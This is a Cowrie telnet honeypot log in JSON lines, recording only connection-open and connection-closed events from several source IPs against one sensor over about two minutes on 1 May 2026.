{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":43992,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cce7c757d9","protocol":"telnet","message":"New connection: 103.115.172.252:43992 (10.17.0.5:23) [session: 04cce7c757d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:57.734893Z"}
{"eventid":"cowrie.session.closed","duration":36.031482219696045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:57.865605Z","src_ip":"45.63.42.31","session":"d3f178128497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528067111968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:58.002388Z","src_ip":"173.198.194.106","session":"7d713c94fcdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1ed69dc6335","protocol":"telnet","message":"New connection: 161.97.181.240:41220 (10.17.0.5:23) [session: b1ed69dc6335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:58.436579Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":34740,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8d0a928fbd","protocol":"telnet","message":"New connection: 173.198.194.106:34740 (10.17.0.5:23) [session: 5f8d0a928fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:58.953721Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":35042,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62892bcb3a0","protocol":"telnet","message":"New connection: 173.198.194.106:35042 (10.17.0.5:23) [session: d62892bcb3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:00:59.282655Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":36110,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8bb7e8d614","protocol":"telnet","message":"New connection: 173.198.194.106:36110 (10.17.0.5:23) [session: bd8bb7e8d614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:00.451542Z"}
{"eventid":"cowrie.session.closed","duration":30.984188079833984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:01.473692Z","src_ip":"173.198.194.106","session":"57da15701538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":38058,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a6fc771184","protocol":"telnet","message":"New connection: 173.198.194.106:38058 (10.17.0.5:23) [session: 09a6fc771184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:02.640643Z"}
{"eventid":"cowrie.session.closed","duration":31.8110191822052,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:03.828912Z","src_ip":"173.198.194.106","session":"6861af15a48b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f2faaa63fd","protocol":"telnet","message":"New connection: 45.63.42.31:34232 (10.17.0.5:23) [session: b7f2faaa63fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:04.759297Z"}
{"eventid":"cowrie.session.closed","duration":30.537618160247803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:05.004866Z","src_ip":"161.97.181.240","session":"2f7c5bf3814a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f98b7d0ba68","protocol":"telnet","message":"New connection: 173.198.194.106:40214 (10.17.0.5:23) [session: 2f98b7d0ba68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:05.234590Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39640,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b11e0915b2d","protocol":"telnet","message":"New connection: 173.198.194.106:39640 (10.17.0.5:23) [session: 2b11e0915b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:05.492795Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39936,"dst_ip":"10.17.0.5","dst_port":23,"session":"e44c3ffca407","protocol":"telnet","message":"New connection: 173.198.194.106:39936 (10.17.0.5:23) [session: e44c3ffca407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:07.938016Z"}
{"eventid":"cowrie.session.closed","duration":30.67620611190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:08.005240Z","src_ip":"161.97.181.240","session":"6cc5e68ce539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4be65fc08d","protocol":"telnet","message":"New connection: 173.198.194.106:43064 (10.17.0.5:23) [session: 1f4be65fc08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:08.073011Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c43961194a","protocol":"telnet","message":"New connection: 173.198.194.106:43186 (10.17.0.5:23) [session: 51c43961194a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:08.209568Z"}
{"eventid":"cowrie.session.closed","duration":30.729304790496826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:09.486020Z","src_ip":"173.198.194.106","session":"856724064b10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26044511795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:13.119341Z","src_ip":"161.97.181.240","session":"e7ccddf20cd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979698181152344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:13.996108Z","src_ip":"161.97.181.240","session":"43bd11db6987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268898010253906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:15.595509Z","src_ip":"173.198.194.106","session":"327c23306ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52929377555847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:17.084432Z","src_ip":"161.97.181.240","session":"b29ffe006d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51274,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db0dccba606","protocol":"telnet","message":"New connection: 173.198.194.106:51274 (10.17.0.5:23) [session: 0db0dccba606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:17.566873Z"}
{"eventid":"cowrie.session.closed","duration":30.398266077041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:20.264869Z","src_ip":"173.198.194.106","session":"8ae96ee85758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162672996521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:20.426226Z","src_ip":"91.205.199.161","session":"a9b9081cc01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.34386706352234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:20.782399Z","src_ip":"45.63.42.31","session":"d9e6993ad723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223284244537354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:21.920851Z","src_ip":"161.97.181.240","session":"1aab0c8a0f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890660047531128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:22.112351Z","src_ip":"161.97.181.240","session":"2db349912d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":55176,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab51694415dd","protocol":"telnet","message":"New connection: 173.198.194.106:55176 (10.17.0.5:23) [session: ab51694415dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:23.021410Z"}
{"eventid":"cowrie.session.closed","duration":30.305940628051758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:25.013170Z","src_ip":"161.97.181.240","session":"da9b1602c994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":57866,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e10ab7e99fb","protocol":"telnet","message":"New connection: 173.198.194.106:57866 (10.17.0.5:23) [session: 0e10ab7e99fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:25.054837Z"}
{"eventid":"cowrie.session.closed","duration":31.218616247177124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:25.296552Z","src_ip":"173.198.194.106","session":"8bff56fd37a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43b304e087e","protocol":"telnet","message":"New connection: 173.198.194.106:58422 (10.17.0.5:23) [session: b43b304e087e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:25.795650Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":58630,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e103dfe270","protocol":"telnet","message":"New connection: 173.198.194.106:58630 (10.17.0.5:23) [session: 82e103dfe270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:26.116890Z"}
{"eventid":"cowrie.session.closed","duration":30.79502511024475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:26.140840Z","src_ip":"173.198.194.106","session":"f4d97595f239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02314805984497,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:26.257154Z","src_ip":"45.63.42.31","session":"e2397818c2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37894105911255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:27.009898Z","src_ip":"161.97.181.240","session":"72e8d149fb07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":57856,"dst_ip":"10.17.0.5","dst_port":23,"session":"af89aec68d43","protocol":"telnet","message":"New connection: 173.198.194.106:57856 (10.17.0.5:23) [session: af89aec68d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:28.041332Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":60492,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ddfb4c7930e","protocol":"telnet","message":"New connection: 173.198.194.106:60492 (10.17.0.5:23) [session: 3ddfb4c7930e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:28.071109Z"}
{"eventid":"cowrie.session.closed","duration":120.00144386291504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:28.574705Z","src_ip":"91.205.199.161","session":"d9e513e4118c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.205.199.161","src_port":53180,"dst_ip":"10.17.0.5","dst_port":23,"session":"2589a83b48b3","protocol":"telnet","message":"New connection: 91.205.199.161:53180 (10.17.0.5:23) [session: 2589a83b48b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:29.203730Z"}
{"eventid":"cowrie.session.closed","duration":30.480767726898193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:29.434328Z","src_ip":"173.198.194.106","session":"5f8d0a928fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.269616842269897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:29.706046Z","src_ip":"161.97.181.240","session":"b1ed69dc6335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407875776290894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:30.690429Z","src_ip":"173.198.194.106","session":"d62892bcb3a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":35430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6409c492217e","protocol":"telnet","message":"New connection: 173.198.194.106:35430 (10.17.0.5:23) [session: 6409c492217e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:31.489933Z"}
{"eventid":"cowrie.session.closed","duration":31.217222452163696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:31.668646Z","src_ip":"173.198.194.106","session":"bd8bb7e8d614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":35704,"dst_ip":"10.17.0.5","dst_port":23,"session":"1239d14a698b","protocol":"telnet","message":"New connection: 173.198.194.106:35704 (10.17.0.5:23) [session: 1239d14a698b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:31.891367Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54710,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab534b52003f","protocol":"telnet","message":"New connection: 103.115.172.252:54710 (10.17.0.5:23) [session: ab534b52003f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:32.835521Z"}
{"eventid":"cowrie.session.closed","duration":30.99744462966919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:33.637959Z","src_ip":"173.198.194.106","session":"09a6fc771184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268227577209473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:36.502697Z","src_ip":"173.198.194.106","session":"2f98b7d0ba68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216973066329956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:36.709676Z","src_ip":"173.198.194.106","session":"2b11e0915b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701083183288574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:38.638979Z","src_ip":"173.198.194.106","session":"e44c3ffca407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":41356,"dst_ip":"10.17.0.5","dst_port":23,"session":"51120db952f4","protocol":"telnet","message":"New connection: 173.198.194.106:41356 (10.17.0.5:23) [session: 51120db952f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:39.097876Z"}
{"eventid":"cowrie.session.closed","duration":31.089163064956665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:39.162077Z","src_ip":"173.198.194.106","session":"1f4be65fc08d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334864377975464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:39.544312Z","src_ip":"173.198.194.106","session":"51c43961194a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"71067ce65d10","protocol":"telnet","message":"New connection: 173.198.194.106:43988 (10.17.0.5:23) [session: 71067ce65d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:41.811616Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":45478,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f91ef2569f","protocol":"telnet","message":"New connection: 173.198.194.106:45478 (10.17.0.5:23) [session: 26f91ef2569f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:42.663597Z"}
{"eventid":"cowrie.session.closed","duration":38.56061887741089,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:43.319758Z","src_ip":"45.63.42.31","session":"b7f2faaa63fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50678,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ef146865178","protocol":"telnet","message":"New connection: 45.63.42.31:50678 (10.17.0.5:23) [session: 8ef146865178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:46.260098Z"}
{"eventid":"cowrie.session.closed","duration":31.310555934906006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:48.877308Z","src_ip":"173.198.194.106","session":"0db0dccba606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00146460533142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:53.874038Z","src_ip":"46.139.57.28","session":"c1dbd27513f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.335946798324585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:54.357264Z","src_ip":"173.198.194.106","session":"ab51694415dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fb837e9a60","protocol":"telnet","message":"New connection: 45.63.42.31:39488 (10.17.0.5:23) [session: 71fb837e9a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:54.361706Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.139.57.28","src_port":58962,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b64998ac40a","protocol":"telnet","message":"New connection: 46.139.57.28:58962 (159.203.135.109:23) [session: 6b64998ac40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:54.431710Z"}
{"eventid":"cowrie.session.closed","duration":30.434192180633545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:56.229740Z","src_ip":"173.198.194.106","session":"b43b304e087e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.610851049423218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:56.665565Z","src_ip":"173.198.194.106","session":"0e10ab7e99fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22ee2d9426e","protocol":"telnet","message":"New connection: 173.198.194.106:57060 (10.17.0.5:23) [session: d22ee2d9426e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:57.030859Z"}
{"eventid":"cowrie.session.closed","duration":31.08126425743103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:57.198063Z","src_ip":"173.198.194.106","session":"82e103dfe270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199485063552856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:59.270505Z","src_ip":"173.198.194.106","session":"3ddfb4c7930e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.937004327774048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:01:59.978239Z","src_ip":"173.198.194.106","session":"af89aec68d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"00cf1a49fd02","protocol":"telnet","message":"New connection: 173.198.194.106:60474 (10.17.0.5:23) [session: 00cf1a49fd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:00.549830Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33474,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a17f863e4de","protocol":"telnet","message":"New connection: 173.198.194.106:33474 (10.17.0.5:23) [session: 0a17f863e4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:00.956264Z"}
{"eventid":"cowrie.session.closed","duration":30.149272918701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:02.040528Z","src_ip":"173.198.194.106","session":"1239d14a698b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255069732666016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:02.744907Z","src_ip":"173.198.194.106","session":"6409c492217e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dfc13d3d8f8","protocol":"telnet","message":"New connection: 45.63.42.31:54292 (10.17.0.5:23) [session: 4dfc13d3d8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:03.033731Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":35674,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91ac4421d38","protocol":"telnet","message":"New connection: 173.198.194.106:35674 (10.17.0.5:23) [session: d91ac4421d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:03.552570Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5503c0bf43b3","protocol":"telnet","message":"New connection: 173.198.194.106:37384 (10.17.0.5:23) [session: 5503c0bf43b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:05.516589Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":36862,"dst_ip":"10.17.0.5","dst_port":23,"session":"44848ebf49fd","protocol":"telnet","message":"New connection: 173.198.194.106:36862 (10.17.0.5:23) [session: 44848ebf49fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:05.858009Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58318,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ad8fe25f4b","protocol":"telnet","message":"New connection: 45.63.42.31:58318 (10.17.0.5:23) [session: 25ad8fe25f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:07.094237Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"421f2e28b59a","protocol":"telnet","message":"New connection: 173.198.194.106:40462 (10.17.0.5:23) [session: 421f2e28b59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:08.576821Z"}
{"eventid":"cowrie.session.closed","duration":30.938695669174194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:10.036492Z","src_ip":"173.198.194.106","session":"51120db952f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.734450578689575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:11.569810Z","src_ip":"103.115.172.252","session":"ab534b52003f","protocol":"telnet"}
